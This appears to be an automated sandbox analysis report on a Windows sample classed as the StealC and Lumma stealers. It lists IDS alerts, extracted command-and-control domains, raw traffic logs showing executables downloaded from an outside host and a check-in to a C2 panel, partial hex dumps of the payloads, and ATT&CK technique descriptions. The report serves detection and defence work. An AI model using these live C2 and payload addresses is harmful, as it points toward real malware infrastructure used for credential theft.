Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49821 -> 172.67.197.170:443

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:19:52 GMTContent-Type: application/octet-streamContent-Length: 2790400Last-Modified: Fri, 20 Dec 2024 14:40:36 GMTConnection: keep-aliveETag: "676581e4-2a9400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 bc 64 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 62 64 79 72 75 66 66 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 69 77 61 73 7a 71 66 00 20 00 00 00 c0 2a 00 00 04 00 00 00 6e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 72 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 15:19:58 GMTContent-Type: application/octet-streamContent-Length: 2917888Last-Modified: Fri, 20 Dec 2024 14:42:32 GMTConnection: keep-aliveETag: "67658258-2c8600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 c0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 4f 00 00 04 00 00 df be 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 61 6c 6f 66 6a 75 6e 00 f0 2a 00 00 c0 24 00 00 e2 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 63 79 74 68 63 64 63 00 10 00 00 00 b0 4f 00 00 06 00 00 00 5e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 4f 00 00 22 00 00 00 64 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 44 32 35 36 39 32 33 38 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 2d 2d 0d 0a Data Ascii: ------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="hwid"A4D2569238F51660493485------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="build"stok------FBFHJJJDAFBKEBGDGHCG--

Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	ReversingLabs: Detection: 42%

Source: Qmg24kMXxU.exe	Virustotal: Detection: 58%			Perma Link
Source: Qmg24kMXxU.exe	ReversingLabs: Detection: 55%

Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49738 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49727 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49748 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49754 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49779 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49792 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49807 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49821 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49828 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Qmg24kMXxU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JKGP0UT4QWTEFN0LA50.exe.log

C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe

C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
Qmg24kMXxU.exe

Function 04FA15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 00EDF83E Relevance: 1.6, APIs: 1, Instructions: 121
libraryCOMMON

Function 00EEEA1B Relevance: 4.6, APIs: 3, Instructions: 71
registryCOMMON

Function 00EE1EA7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84
fileCOMMON

Function 00EE1F83 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Function 00EE1B2B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39
fileCOMMON

Function 04FA15C4 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 00EDF996 Relevance: 1.6, APIs: 1, Instructions: 103
libraryCOMMON

Function 00EE1EC8 Relevance: 1.6, APIs: 1, Instructions: 64
fileCOMMON

Function 04FA0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04FA0D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04FA1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04FA1509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Function 04FA1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04FA1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

